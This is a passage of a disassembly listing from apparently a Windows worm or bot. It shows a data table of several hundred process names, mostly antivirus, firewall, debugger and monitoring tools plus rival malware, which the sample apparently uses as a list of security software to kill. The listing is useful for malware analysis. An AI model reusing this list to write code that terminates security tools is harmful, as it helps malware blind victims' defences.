"CCEVTMGR.EXE" dd offset aCcpxysvc_exe ; "CCPXYSVC.EXE" dd offset aCdp_exe ; "CDP.EXE" dd offset aCfd_exe ; "CFD.EXE" dd offset aCfgwiz_exe ; "CFGWIZ.EXE" dd offset aCfiadmin_exe ; "CFIADMIN.EXE" dd offset aCfiaudit_exe ; "CFIAUDIT.EXE" dd offset aCfiaudit_exe ; "CFIAUDIT.EXE" dd offset aCfinet_exe ; "CFINET.EXE" dd offset aCfinet32_exe ; "CFINET32.EXE" dd offset aClaw95cf_exe ; "CLAW95CF.EXE" dd offset aClean_exe ; "CLEAN.EXE" dd offset aCleaner_exe ; "CLEANER.EXE" dd offset aCleaner3_exe ; "CLEANER3.EXE" dd offset aCleanpc_exe ; "CLEANPC.EXE" dd offset aClick_exe ; "CLICK.EXE" dd offset aCmd32_exe ; "CMD32.EXE" dd offset aCmesys_exe ; "CMESYS.EXE" dd offset aCmgrdian_exe ; "CMGRDIAN.EXE" dd offset aCmon016_exe ; "CMON016.EXE" dd offset aConnectionmoni ; "CONNECTIONMONITOR.EXE" dd offset aCpd_exe ; "CPD.EXE" dd offset aCpf9x206_exe ; "CPF9X206.EXE" dd offset aCpfnt206_exe ; "CPFNT206.EXE" dd offset aCtrl_exe ; "CTRL.EXE" dd offset aCv_exe ; "CV.EXE" dd offset aCwnb181_exe ; "CWNB181.EXE" dd offset aCwntdwmo_exe ; "CWNTDWMO.EXE" dd offset aClaw95_exe ; "Claw95.EXE" dd offset aClaw95cf_exe ; "CLAW95CF.EXE" dd offset aDatemanager_ex ; "DATEMANAGER.EXE" dd offset aDcomx_exe ; "DCOMX.EXE" dd offset aDefalert_exe ; "DEFALERT.EXE" dd offset aDefscangui_exe ; "DEFSCANGUI.EXE" dd offset aDefwatch_exe ; "DEFWATCH.EXE" dd offset aDeputy_exe ; "DEPUTY.EXE" dd offset aDivx_exe ; "DIVX.EXE" dd offset aDllcache_exe ; "DLLCACHE.EXE" dd offset aDllreg_exe ; "DLLREG.EXE" dd offset aDoors_exe ; "DOORS.EXE" dd offset aDpf_exe ; "DPF.EXE" dd offset aDpfsetup_exe ; "DPFSETUP.EXE" dd offset aDpps2_exe ; "DPPS2.EXE" dd offset aDrwatson_exe ; "DRWATSON.EXE" dd offset aDrweb32_exe ; "DRWEB32.EXE" dd offset aDrwebupw_exe ; "DRWEBUPW.EXE" dd offset aDssagent_exe ; "DSSAGENT.EXE" dd offset aDvp95_exe ; "DVP95.EXE" dd offset aDvp95_0_exe ; "DVP95_0.EXE" dd offset aEcengine_exe ; "ECENGINE.EXE" dd offset aEfpeadm_exe ; "EFPEADM.EXE" dd offset aEmsw_exe ; "EMSW.EXE" dd offset aEnt_exe ; "ENT.EXE" dd offset aEsafe_exe ; "ESAFE.EXE" dd offset aEscanh95_exe ; "ESCANH95.EXE" dd offset aEscanhnt_exe ; "ESCANHNT.EXE" dd offset aEscanv95_exe ; "ESCANV95.EXE" dd offset aEspwatch_exe ; "ESPWATCH.EXE" dd offset aEthereal_exe ; "ETHEREAL.EXE" dd offset aEtrustcipe_exe ; "ETRUSTCIPE.EXE" dd offset aEvpn_exe ; "EVPN.EXE" dd offset aExantivirusCne ; "EXANTIVIRUS-CNET.EXE" dd offset aExe_avxw_exe ; "EXE.AVXW.EXE" dd offset aExpert_exe ; "EXPERT.EXE" dd offset aExplore_exe ; "EXPLORE.EXE" dd offset aFAgnt95_exe ; "F-AGNT95.EXE" dd offset aFProt_exe ; "F-PROT.EXE" dd offset aFProt95_exe ; "F-PROT95.EXE" dd offset aFStopw_exe ; "F-STOPW.EXE" dd offset aFameh32_exe ; "FAMEH32.EXE" dd offset aFast_exe ; "FAST.EXE" dd offset aFch32_exe ; "FCH32.EXE" dd offset aFih32_exe ; "FIH32.EXE" dd offset aFindviru_exe ; "FINDVIRU.EXE" dd offset aFirewall_exe ; "FIREWALL.EXE" dd offset aFlowprotector_ ; "FLOWPROTECTOR.EXE" dd offset aFnrb32_exe ; "FNRB32.EXE" dd offset aFpWin_exe ; "FP-WIN.EXE" dd offset aFpWin_trial_ex ; "FP-WIN_TRIAL.EXE" dd offset aFprot_exe ; "FPROT.EXE" dd offset aFrw_exe ; "FRW.EXE" dd offset aFsaa_exe ; "FSAA.EXE" dd offset aFsav_exe ; "FSAV.EXE" dd offset aFsav32_exe ; "FSAV32.EXE" dd offset aFsav530stbyb_e ; "FSAV530STBYB.EXE" dd offset aFsav530wtbyb_e ; "FSAV530WTBYB.EXE" dd offset aFsav95_exe ; "FSAV95.EXE" dd offset aFsgk32_exe ; "FSGK32.EXE" dd offset aFsm32_exe ; "FSM32.EXE" dd offset aFsma32_exe ; "FSMA32.EXE" dd offset aFsmb32_exe ; "FSMB32.EXE" dd offset aGator_exe ; "GATOR.EXE" dd offset aGbmenu_exe ; "GBMENU.EXE" dd offset aGbpoll_exe ; "GBPOLL.EXE" dd offset aGenerics_exe ; "GENERICS.EXE" dd offset aGmt_exe ; "GMT.EXE" dd offset aGuard_exe ; "GUARD.EXE" dd offset aGuarddog_exe ; "GUARDDOG.EXE" dd offset aHacktracersetu ; "HACKTRACERSETUP.EXE" dd offset aHbinst_exe ; "HBINST.EXE" dd offset aHbsrv_exe ; "HBSRV.EXE" dd offset aHotactio_exe ; "HOTACTIO.EXE" dd offset aHotpatch_exe ; "HOTPATCH.EXE" dd offset aHtlog_exe ; "HTLOG.EXE" dd offset aHtpatch_exe ; "HTPATCH.EXE" dd offset aHwpe_exe ; "HWPE.EXE" dd offset aHxdl_exe ; "HXDL.EXE" dd offset aHxiul_exe ; "HXIUL.EXE" dd offset aIamapp_exe ; "IAMAPP.EXE" dd offset aIamserv_exe ; "IAMSERV.EXE" dd offset aIamstats_exe ; "IAMSTATS.EXE" dd offset aIbmasn_exe ; "IBMASN.EXE" dd offset aIbmavsp_exe ; "IBMAVSP.EXE" dd offset aIcload95_exe ; "ICLOAD95.EXE" dd offset aIcloadnt_exe ; "ICLOADNT.EXE" dd offset aIcmon_exe ; "ICMON.EXE" dd offset aIcsupp95_exe ; "ICSUPP95.EXE" dd offset aIcsupp95_exe ; "ICSUPP95.EXE" dd offset aIcsuppnt_exe ; "ICSUPPNT.EXE" dd offset aIdle_exe ; "IDLE.EXE" dd offset aIedll_exe ; "IEDLL.EXE" dd offset aIedriver_exe ; "IEDRIVER.EXE" dd offset aIexplorer_exe ; "IEXPLORER.EXE" dd offset aIface_exe ; "IFACE.EXE" dd offset aIfw2000_exe ; "IFW2000.EXE" dd offset aInetlnfo_exe ; "INETLNFO.EXE" dd offset aInfus_exe ; "INFUS.EXE" dd offset aInfwin_exe ; "INFWIN.EXE" dd offset aInit_exe ; "INIT.EXE" dd offset aIntdel_exe ; "INTDEL.EXE" dd offset aIntren_exe ; "INTREN.EXE" dd offset aIomon98_exe ; "IOMON98.EXE" dd offset aIparmor_exe ; "IPARMOR.EXE" dd offset aIris_exe ; "IRIS.EXE" dd offset aIsass_exe ; "ISASS.EXE" dd offset aIsrv95_exe ; "ISRV95.EXE" dd offset aIstsvc_exe ; "ISTSVC.EXE" dd offset aJammer_exe ; "JAMMER.EXE" dd offset aJdbgmrg_exe ; "JDBGMRG.EXE" dd offset aJedi_exe ; "JEDI.EXE" dd offset aKavlite40eng_e ; "KAVLITE40ENG.EXE" dd offset aKavpers40eng_e ; "KAVPERS40ENG.EXE" dd offset aKavpf_exe ; "KAVPF.EXE" dd offset aKazza_exe ; "KAZZA.EXE" dd offset aKeenvalue_exe ; "KEENVALUE.EXE" dd offset aKerioPf213EnWi ; "KERIO-PF-213-EN-WIN.EXE" dd offset aKerioWrl421EnW ; "KERIO-WRL-421-EN-WIN.EXE" dd offset aKerioWrp421EnW ; "KERIO-WRP-421-EN-WIN.EXE" dd offset aKernel32_exe ; "KERNEL32.EXE" dd offset aKillprocessset ; "KILLPROCESSSETUP161.EXE" dd offset aLauncher_exe ; "LAUNCHER.EXE" dd offset aLdnetmon_exe ; "LDNETMON.EXE" dd offset aLdpro_exe ; "LDPRO.EXE" dd offset aLdpromenu_exe ; "LDPROMENU.EXE" dd offset aLdscan_exe ; "LDSCAN.EXE" dd offset aLnetinfo_exe ; "LNETINFO.EXE" dd offset aLoader_exe ; "LOADER.EXE" dd offset aLocalnet_exe ; "LOCALNET.EXE" dd offset aLockdown_exe ; "LOCKDOWN.EXE" dd offset aLockdown2000_e ; "LOCKDOWN2000.EXE" dd offset aLookout_exe ; "LOOKOUT.EXE" dd offset aLordpe_exe ; "LORDPE.EXE" dd offset aLsetup_exe ; "LSETUP.EXE" dd offset aLuall_exe ; "LUALL.EXE" dd offset aLuall_exe ; "LUALL.EXE" dd offset aLuau_exe ; "LUAU.EXE" dd offset aLucomserver_ex ; "LUCOMSERVER.EXE" dd offset aLuinit_exe ; "LUINIT.EXE" dd offset aLuspt_exe ; "LUSPT.EXE" dd offset aMapisvc32_exe ; "MAPISVC32.EXE" dd offset aMcagent_exe ; "MCAGENT.EXE" dd offset aMcmnhdlr_exe ; "MCMNHDLR.EXE" dd offset aMcshield_exe ; "MCSHIELD.EXE" dd offset aMctool_exe ; "MCTOOL.EXE" dd offset aMcupdate_exe ; "MCUPDATE.EXE" dd offset aMcupdate_exe ; "MCUPDATE.EXE" dd offset aMcvsrte_exe ; "MCVSRTE.EXE" dd offset aMcvsshld_exe ; "MCVSSHLD.EXE" dd offset aMd_exe ; "MD.EXE" dd offset aMfin32_exe ; "MFIN32.EXE" dd offset aMfw2en_exe ; "MFW2EN.EXE" dd offset aMfweng3_02d30_ ; "MFWENG3.02D30.EXE" dd offset aMgavrtcl_exe ; "MGAVRTCL.EXE" dd offset aMgavrte_exe ; "MGAVRTE.EXE" dd offset aMghtml_exe ; "MGHTML.EXE" dd offset aMgui_exe ; "MGUI.EXE" dd offset aMinilog_exe ; "MINILOG.EXE" dd offset aMmod_exe ; "MMOD.EXE" dd offset aMonitor_exe ; "MONITOR.EXE" dd offset aMoolive_exe ; "MOOLIVE.EXE" dd offset aMostat_exe ; "MOSTAT.EXE" dd offset aMpfagent_exe ; "MPFAGENT.EXE" dd offset aMpfservice_exe ; "MPFSERVICE.EXE" dd offset aMpftray_exe ; "MPFTRAY.EXE" dd offset aMrflux_exe ; "MRFLUX.EXE" dd offset aMsapp_exe ; "MSAPP.EXE" dd offset aMsbb_exe ; "MSBB.EXE" dd offset aMsblast_exe ; "MSBLAST.EXE" dd offset aMscache_exe ; "MSCACHE.EXE" dd offset aMsccn32_exe ; "MSCCN32.EXE" dd offset aMscman_exe ; "MSCMAN.EXE" dd offset aMsconfig_exe ; "MSCONFIG.EXE" dd offset aMsdm_exe ; "MSDM.EXE" dd offset aMsdos_exe ; "MSDOS.EXE" dd offset aMsiexec16_exe ; "MSIEXEC16.EXE" dd offset aMsinfo32_exe ; "MSINFO32.EXE" dd offset aMslaugh_exe ; "MSLAUGH.EXE" dd offset aMsmgt_exe ; "MSMGT.EXE" dd offset aMsmsgri32_exe ; "MSMSGRI32.EXE" dd offset aMssmmc32_exe ; "MSSMMC32.EXE" dd offset aMssys_exe ; "MSSYS.EXE" dd offset aMsvxd_exe ; "MSVXD.EXE" dd offset aMu0311ad_exe ; "MU0311AD.EXE" dd offset aMwatch_exe ; "MWATCH.EXE" dd offset aN32scanw_exe ; "N32SCANW.EXE" dd offset aNav_exe ; "NAV.EXE" dd offset aAutoProtect_na ; "AUTO-PROTECT.NAV80TRY.EXE" dd offset aNavap_navapsvc ; "NAVAP.NAVAPSVC.EXE" dd offset aNavapsvc_exe ; "NAVAPSVC.EXE" dd offset aNavapw32_exe ; "NAVAPW32.EXE" dd offset aNavdx_exe ; "NAVDX.EXE" dd offset aNavengnavex15_ ; "NAVENGNAVEX15.NAVLU32.EXE" dd offset aNavlu32_exe ; "NAVLU32.EXE" dd offset aNavnt_exe ; "NAVNT.EXE" dd offset aNavstub_exe ; "NAVSTUB.EXE" dd offset aNavw32_exe ; "NAVW32.EXE" dd offset aNavwnt_exe ; "NAVWNT.EXE" dd offset aNc2000_exe ; "NC2000.EXE" dd offset aNcinst4_exe ; "NCINST4.EXE" dd offset aNdd32_exe ; "NDD32.EXE" dd offset aNeomonitor_exe ; "NEOMONITOR.EXE" dd offset aNeowatchlog_ex ; "NEOWATCHLOG.EXE" dd offset aNetarmor_exe ; "NETARMOR.EXE" dd offset aNetd32_exe ; "NETD32.EXE" dd offset aNetinfo_exe ; "NETINFO.EXE" dd offset aNetmon_exe ; "NETMON.EXE" dd offset aNetscanpro_exe ; "NETSCANPRO.EXE" dd offset aNetspyhunter1_ ; "NETSPYHUNTER-1.2.EXE" dd offset aNetstat_exe ; "NETSTAT.EXE" dd offset aNetutils_exe ; "NETUTILS.EXE" dd offset aNisserv_exe ; "NISSERV.EXE" dd offset aNisum_exe ; "NISUM.EXE" dd offset aNmain_exe ; "NMAIN.EXE" dd offset aNod32_exe ; "NOD32.EXE" dd offset aNormist_exe ; "NORMIST.EXE" dd offset aNorton_interne ; "NORTON_INTERNET_SECU_3.0_407.EXE" dd offset aNotstart_exe ; "NOTSTART.EXE" dd offset aNpf40_tw_98_nt ; "NPF40_TW_98_NT_ME_2K.EXE" dd offset aNpfmessenger_e ; "NPFMESSENGER.EXE" dd offset aNprotect_exe ; "NPROTECT.EXE" dd offset aNpscheck_exe ; "NPSCHECK.EXE" dd offset aNpssvc_exe ; "NPSSVC.EXE" dd offset aNsched32_exe ; "NSCHED32.EXE" dd offset aNssys32_exe ; "NSSYS32.EXE" dd offset aNstask32_exe ; "NSTASK32.EXE" dd offset aNsupdate_exe ; "NSUPDATE.EXE" dd offset aNt_exe ; "NT.EXE" dd offset aNtrtscan_exe ; "NTRTSCAN.EXE" dd offset aNtvdm_exe ; "NTVDM.EXE" dd offset aNtxconfig_exe ; "NTXconfig.EXE" dd offset aNui_exe ; "NUI.EXE" dd offset aNupgrade_exe ; "NUPGRADE.EXE" dd offset aNupgrade_exe ; "NUPGRADE.EXE" dd offset aNvarch16_exe ; "NVARCH16.EXE" dd offset aNvc95_exe ; "NVC95.EXE" dd offset aNvsvc32_exe ; "NVSVC32.EXE" dd offset aNwinst4_exe ; "NWINST4.EXE" dd offset aNwservice_exe ; "NWSERVICE.EXE" dd offset aNwtool16_exe ; "NWTOOL16.EXE" dd offset aOllydbg_exe ; "OLLYDBG.EXE" dd offset aOnsrvr_exe ; "ONSRVR.EXE" dd offset aOptimize_exe ; "OPTIMIZE.EXE" dd offset aOstronet_exe ; "OSTRONET.EXE" dd offset aOtfix_exe ; "OTFIX.EXE" dd offset aOutpost_exe ; "OUTPOST.EXE" dd offset aOutpost_exe ; "OUTPOST.EXE" dd offset aOutpostinstall ; "OUTPOSTINSTALL.EXE" dd offset aOutpostproinst ; "OUTPOSTPROINSTALL.EXE" dd offset aPadmin_exe ; "PADMIN.EXE" dd offset aPanixk_exe ; "PANIXK.EXE" dd offset aPatch_exe ; "PATCH.EXE" dd offset aPavcl_exe ; "PAVCL.EXE" dd offset aPavproxy_exe ; "PAVPROXY.EXE" dd offset aPavsched_exe ; "PAVSCHED.EXE" dd offset aPavw_exe ; "PAVW.EXE" dd offset aPcc2002s902_ex ; "PCC2002S902.EXE" dd offset aPcc2k_76_1436_ ; "PCC2K_76_1436.EXE" dd offset aPcciomon_exe ; "PCCIOMON.EXE" dd offset aPccntmon_exe ; "PCCNTMON.EXE" dd offset aPccwin97_exe ; "PCCWIN97.EXE" dd offset aPccwin98_exe ; "PCCWIN98.EXE" dd offset aPcdsetup_exe ; "PCDSETUP.EXE" dd offset aPcfwallicon_ex ; "PCFWALLICON.EXE" dd offset aPcip10117_0_ex ; "PCIP10117_0.EXE" dd offset aPcscan_exe ; "PCSCAN.EXE" dd offset aPdsetup_exe ; "PDSETUP.EXE" dd offset aPenis_exe ; "PENIS.EXE" dd offset aPeriscope_exe ; "PERISCOPE.EXE" dd offset aPersfw_exe ; "PERSFW.EXE" dd offset aPerswf_exe ; "PERSWF.EXE" dd offset aPf2_exe ; "PF2.EXE" dd offset aPfwadmin_exe ; "PFWADMIN.EXE" dd offset aPgmonitr_exe ; "PGMONITR.EXE" dd offset aPingscan_exe ; "PINGSCAN.EXE" dd offset aPlatin_exe ; "PLATIN.EXE" dd offset aPop3trap_exe ; "POP3TRAP.EXE" dd offset aPoproxy_exe ; "POPROXY.EXE" dd offset aPopscan_exe ; "POPSCAN.EXE" dd offset aPortdetective_ ; "PORTDETECTIVE.EXE" dd offset aPortmonitor_ex ; "PORTMONITOR.EXE" dd offset aPowerscan_exe ; "POWERSCAN.EXE" dd offset aPpinupdt_exe ; "PPINUPDT.EXE" dd offset aPptbc_exe ; "PPTBC.EXE" dd offset aPpvstop_exe ; "PPVSTOP.EXE" dd offset aPrizesurfer_ex ; "PRIZESURFER.EXE" dd offset aPrmt_exe ; "PRMT.EXE" dd offset aPrmvr_exe ; "PRMVR.EXE" dd offset aProcdump_exe ; "PROCDUMP.EXE" dd offset aProcessmonitor ; "PROCESSMONITOR.EXE" dd offset aProcexplorerv1 ; "PROCEXPLORERV1.0.EXE" dd offset aProgramauditor ; "PROGRAMAUDITOR.EXE" dd offset aProport_exe ; "PROPORT.EXE" dd offset aProtectx_exe ; "PROTECTX.EXE" dd offset aPspf_exe ; "PSPF.EXE" dd offset aPurge_exe ; "PURGE.EXE" dd offset aPussy_exe ; "PUSSY.EXE" dd offset aPview95_exe ; "PVIEW95.EXE" dd offset aQconsole_exe ; "QCONSOLE.EXE" dd offset aQserver_exe ; "QSERVER.EXE" dd offset aRapapp_exe ; "RAPAPP.EXE" dd offset aRav7_exe ; "RAV7.EXE" dd offset aRav7win_exe ; "RAV7WIN.EXE" dd offset aRav8win32eng_e ; "RAV8WIN32ENG.EXE" dd offset aRay_exe ; "RAY.EXE" dd offset aRb32_exe ; "RB32.EXE" dd offset aRcsync_exe ; "RCSYNC.EXE" dd offset aRealmon_exe ; "REALMON.EXE" dd offset aReged_exe ; "REGED.EXE" dd offset aRegedit_exe ; "REGEDIT.EXE" dd offset aRegedt32_exe ; "REGEDT32.EXE" dd offset aRescue_exe ; "RESCUE.EXE" dd offset aRescue32_exe ; "RESCUE32.EXE" dd offset aRrguard_exe ; "RRGUARD.EXE" dd offset aRshell_exe ; "RSHELL.EXE" dd offset aRtvscan_exe ; "RTVSCAN.EXE" dd offset aRtvscn95_exe ; "RTVSCN95.EXE" dd offset aRulaunch_exe ; "RULAUNCH.EXE" dd offset aRun32dll_exe ; "RUN32DLL.EXE" dd offset aRundll_exe ; "RUNDLL.EXE" dd offset aRundll16_exe ; "RUNDLL16.EXE" dd offset aRuxdll32_exe ; "RUXDLL32.EXE" dd offset aSafeweb_exe ; "SAFEWEB.EXE" dd offset aSahagent_exe ; "SAHAGENT.EXE" dd offset aSave_exe ; "SAVE.EXE" dd offset aSavenow_exe ; "SAVENOW.EXE" dd offset aSbserv_exe ; "SBSERV.EXE" dd offset aSc_exe ; "SC.EXE" dd offset aScam32_exe ; "SCAM32.EXE" dd offset aScan32_exe ; "SCAN32.EXE" dd offset aScan95_exe ; "SCAN95.EXE" dd offset aScanpm_exe ; "SCANPM.EXE" dd offset aScrscan_exe ; "SCRSCAN.EXE" dd offset aScrsvr_exe ; "SCRSVR.EXE" dd offset aScvhost_exe ; "SCVHOST.EXE" dd offset aSd_exe ; "SD.EXE" dd offset aServ95_exe ; "SERV95.EXE" dd offset aService_exe ; "SERVICE.EXE" dd offset aServlce_exe ; "SERVLCE.EXE" dd offset aServlces_exe ; "SERVLCES.EXE" dd offset aSetupvameeval_ ; "SETUPVAMEEVAL.EXE" dd offset aSetup_flowprot ; "SETUP_FLOWPROTECTOR_US.EXE" dd offset aSfc_exe ; "SFC.EXE" dd offset aSgssfw32_exe ; "SGSSFW32.EXE" dd offset aSh_exe ; "SH.EXE" dd offset aShellspyinstal ; "SHELLSPYINSTALL.EXE" dd offset aShn_exe ; "SHN.EXE" dd offset aShowbehind_exe ; "SHOWBEHIND.EXE" dd offset aSmc_exe ; "SMC.EXE" dd offset aSms_exe ; "SMS.EXE" dd offset aSmss32_exe ; "SMSS32.EXE" dd offset aSoap_exe ; "SOAP.EXE" dd offset aSofi_exe ; "SOFI.EXE" dd offset aSperm_exe ; "SPERM.EXE" dd offset aSpf_exe ; "SPF.EXE" dd offset aSphinx_exe ; "SPHINX.EXE" dd offset aSpoler_exe ; "SPOLER.EXE" dd offset aSpoolcv_exe ; "SPOOLCV.EXE" dd offset aSpoolsv32_exe ; "SPOOLSV32.EXE" dd offset aSpyxx_exe ; "SPYXX.EXE" dd offset aSrexe_exe ; "SREXE.EXE" dd offset aSrng_exe ; "SRNG.EXE" dd offset aSs3edit_exe ; "SS3EDIT.EXE" dd offset aSsgrate_exe ; "SSGRATE.EXE" dd offset aSsg_4104_exe ; "SSG_4104.EXE" dd offset aSt2_exe ; "ST2.EXE" dd offset aStart_exe ; "START.EXE" dd offset aStcloader_exe ; "STCLOADER.EXE" dd offset aSupftrl_exe ; "SUPFTRL.EXE" dd offset aSupport_exe ; "SUPPORT.EXE" dd offset aSupporter5_exe ; "SUPPORTER5.EXE" dd offset aSvc_exe ; "SVC.EXE" dd offset aSvchostc_exe ; "SVCHOSTC.EXE" dd offset aSvchosts_exe ; "SVCHOSTS.EXE" dd offset aSvshost_exe ; "SVSHOST.EXE" dd offset aSweep95_exe ; "SWEEP95.EXE" dd offset aSweepnet_sweep ; "SWEEPNET.SWEEPSRV.SYS.SWNETSUP.EXE" dd offset aSymproxysvc_ex ; "SYMPROXYSVC.EXE" dd offset aSymtray_exe ; "SYMTRAY.EXE" dd offset aSysedit_exe ; "SYSEDIT.EXE" dd offset aSystem_exe ; "SYSTEM.EXE" dd offset aSystem32_exe ; "SYSTEM32.EXE" dd offset aSysupd_exe ; "SYSUPD.EXE" dd offset aTaskmg_exe ; "TASKMG.EXE" dd offset aTaskmo_exe ; "TASKMO.EXE" dd offset aTaskmon_exe ; "TASKMON.EXE" dd offset aTaumon_exe ; "TAUMON.EXE" dd offset aTbscan_exe ; "TBSCAN.EXE" dd offset aTc_exe ; "TC.EXE" dd offset aTca_exe ; "TCA.EXE" dd offset aTcm_exe ; "TCM.EXE" dd offset aTds3_exe ; "TDS-3.EXE" dd offset aTds298_exe ; "TDS2-98.EXE" dd offset aTds2Nt_exe ; "TDS2-NT.EXE" dd offset aTeekids_exe ; "TEEKIDS.EXE" dd offset aTfak_exe ; "TFAK.EXE" dd offset aTfak5_exe ; "TFAK5.EXE" dd offset aTgbob_exe ; "TGBOB.EXE" dd offset aTitanin_exe ; "TITANIN.EXE" dd offset aTitaninxp_exe ; "TITANINXP.EXE" dd offset aTracert_exe ; "TRACERT.EXE" dd offset aTrickler_exe ; "TRICKLER.EXE" dd offset aTrjscan_exe ; "TRJSCAN.EXE" dd offset aTrjsetup_exe ; "TRJSETUP.EXE" dd offset aTrojantrap3_ex ; "TROJANTRAP3.EXE" dd offset aTsadbot_exe ; "TSADBOT.EXE" dd offset aTvmd_exe ; "TVMD.EXE" dd offset aTvtmd_exe ; "TVTMD.EXE" dd offset aUndoboot_exe ; "UNDOBOOT.EXE" dd offset aUpdat_exe ; "UPDAT.EXE" dd offset aUpdate_exe ; "UPDATE.EXE" dd offset aUpdate_exe ; "UPDATE.EXE" dd offset aUpgrad_exe ; "UPGRAD.EXE" dd offset aUtpost_exe ; "UTPOST.EXE" dd offset aVbcmserv_exe ; "VBCMSERV.EXE" dd offset aVbcons_exe ; "VBCONS.EXE" dd offset aVbust_exe ; "VBUST.EXE" dd offset aVbwin9x_exe ; "VBWIN9X.EXE" dd offset aVbwinntw_exe ; "VBWINNTW.EXE" dd offset aVcsetup_exe ; "VCSETUP.EXE" dd offset aVet32_exe ; "VET32.EXE" dd offset aVet95_exe ; "VET95.EXE" dd offset aVettray_exe ; "VETTRAY.EXE" dd offset aVfsetup_exe ; "VFSETUP.EXE" dd offset aVirHelp_exe ; "VIR-HELP.EXE" dd offset aVirusmdpersona ; "VIRUSMDPERSONALFIREWALL.EXE" dd offset aVnlan300_exe ; "VNLAN300.EXE" dd offset aVnpc3000_exe ; "VNPC3000.EXE" dd offset aVpc32_exe ; "VPC32.EXE" dd offset aVpc42_exe ; "VPC42.EXE" dd offset aVpfw30s_exe ; "VPFW30S.EXE" dd offset aVptray_exe ; "VPTRAY.EXE" dd offset aVscan40_exe ; "VSCAN40.EXE" dd offset aVscenu6_02d30_ ; "VSCENU6.02D30.EXE" dd offset aVsched_exe ; "VSCHED.EXE" dd offset aVsecomr_exe ; "VSECOMR.EXE" dd offset aVshwin32_exe ; "VSHWIN32.EXE" dd offset aVsisetup_exe ; "VSISETUP.EXE" dd offset aVsmain_exe ; "VSMAIN.EXE" dd offset aVsmon_exe ; "VSMON.EXE" dd offset aVsstat_exe ; "VSSTAT.EXE" dd offset aVswin9xe_exe ; "VSWIN9XE.EXE" dd offset aVswinntse_exe ; "VSWINNTSE.EXE" dd offset aVswinperse_exe ; "VSWINPERSE.EXE" dd offset aW32dsm89_exe ; "W32DSM89.EXE" dd offset aW9x_exe ; "W9X.EXE" dd offset aWatchdog_exe ; "WATCHDOG.EXE" dd offset aWebdav_exe ; "WEBDAV.EXE" dd offset aWebscanx_exe ; "WEBSCANX.EXE" dd offset aWebtrap_exe ; "WEBTRAP.EXE" dd offset aWfindv32_exe ; "WFINDV32.EXE" dd offset aWgfe95_exe ; "WGFE95.EXE" dd offset aWhoswatchingme ; "WHOSWATCHINGME.EXE" dd offset aWimmun32_exe ; "WIMMUN32.EXE" dd offset aWinBugsfix_exe ; "WIN-BUGSFIX.EXE" dd offset aWin32_exe ; "WIN32.EXE" dd offset aWin32us_exe ; "WIN32US.EXE" dd offset aWinactive_exe ; "WINACTIVE.EXE" dd offset aWindow_exe ; "WINDOW.EXE" dd offset aWindows_exe ; "WINDOWS.EXE" dd offset aWininetd_exe ; "WININETD.EXE" dd offset aWininit_exe ; "WININIT.EXE" dd offset aWininitx_exe ; "WININITX.EXE" dd offset aWinlogin_exe ; "WINLOGIN.EXE" dd offset aWinmain_exe ; "WINMAIN.EXE" dd offset aWinnet_exe ; "WINNET.EXE" dd offset aWinppr32_exe ; "WINPPR32.EXE" dd offset aWinrecon_exe ; "WINRECON.EXE" dd offset aWinservn_exe ; "WINSERVN.EXE" dd offset aWinssk32_exe ; "WINSSK32.EXE" dd offset aWinstart_exe ; "WINSTART.EXE" dd offset aWinstart001_ex ; "WINSTART001.EXE" dd offset aWintsk32_exe ; "WINTSK32.EXE" dd offset aWinupdate_exe ; "WINUPDATE.EXE" dd offset aWkufind_exe ; "WKUFIND.EXE" dd offset aWnad_exe ; "WNAD.EXE" dd offset aWnt_exe ; "WNT.EXE" dd offset aWradmin_exe ; "WRADMIN.EXE" dd offset aWrctrl_exe ; "WRCTRL.EXE" dd offset aWsbgate_exe ; "WSBGATE.EXE" dd offset aWupdater_exe ; "WUPDATER.EXE" dd offset aWupdt_exe ; "WUPDT.EXE" dd offset aWyvernworksfir ; "WYVERNWORKSFIREWALL.EXE" dd offset aXpf202en_exe ; "XPF202EN.EXE" dd offset aZapro_exe ; "ZAPRO.EXE" dd offset aZapsetup3001_e ; "ZAPSETUP3001.EXE" dd offset aZatutor_exe ; "ZATUTOR.EXE" dd offset aZonalm2601_exe ; "ZONALM2601.EXE" dd offset aZonealarm_exe ; "ZONEALARM.EXE" dd offset a_avp32_exe ; "_AVP32.EXE" dd offset a_avpcc_exe ; "_AVPCC.EXE" dd offset a_avpm_exe ; "_AVPM.EXE" dd offset aHijackthis_exe ; "HIJACKTHIS.EXE" dd offset aFAgobot_exe ; "F-AGOBOT.EXE" dd offset aPandaavengine_ ; "PandaAVEngine.exe" dd offset aSysinfo_exe ; "sysinfo.exe" dd offset aMscvb32_exe ; "mscvb32.exe" dd offset aPenis32_exe ; "Penis32.exe" dd offset aBbeagle_exe ; "bbeagle.exe" dd offset aSysmonxp_exe ; "SysMonXP.exe" dd offset aWinupd_exe ; "winupd.exe" dd offset aWinsys_exe ; "winsys.exe" dd offset aSsate_exe ; "ssate.exe" dd offset aRate_exe ; "rate.exe" dd offset aD3dupdate_exe ; "d3dupdate.exe" dd offset aIrun4_exe ; "irun4.exe" dd offset aI11r54n4_exe ; "i11r54n4.exe" dword_43210C dd 7Dh dup(0) ; DATA XREF: sub_411876+ECo aI11r54n4_exe db 'i11r54n4.exe',0 ; DATA XREF: .data:00432108o align 10h aIrun4_exe db 'irun4.exe',0 ; DATA XREF: .data:00432104o align 4 aD3dupdate_exe db 'd3dupdate.exe',0 ; DATA XREF: .data:00432100o align 4 aRate_exe db 'rate.exe',0 ; DATA XREF: .data:004320FCo align 4 aSsate_exe db 'ssate.exe',0 ; DATA XREF: .data:004320F8o align 4 aWinsys_exe db 'winsys.exe',0 ; DATA XREF: .data:004320F4o align 10h dd 0 aWinupd_exe db 'winupd.exe',0 ; DATA XREF: .data:004320F0o align 10h dd 0 aSysmonxp_exe db 'SysMonXP.exe',0 ; DATA XREF: .data:004320ECo align 4 aBbeagle_exe db 'bbeagle.exe',0 ; DATA XREF: .data:004320E8o dd 0 aPenis32_exe db 'Penis32.exe',0 ; DATA XREF: .data:004320E4o dd 0 aMscvb32_exe db 'mscvb32.exe',0 ; DATA XREF: .data:004320E0o dd 0 aSysinfo_exe db 'sysinfo.exe',0 ; DATA XREF: .data:004320DCo dd 0 aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: .data:004320D8o align 4 dd 0 aFAgobot_exe db 'F-AGOBOT.EXE',0 ; DATA XREF: .data:004320D4o align 4 aHijackthis_exe db 'HIJACKTHIS.EXE',0 ; DATA XREF: .data:004320D0o align 10h a_avpm_exe db '_AVPM.EXE',0 ; DATA XREF: .data:004320CCo align 4 a_avpcc_exe db 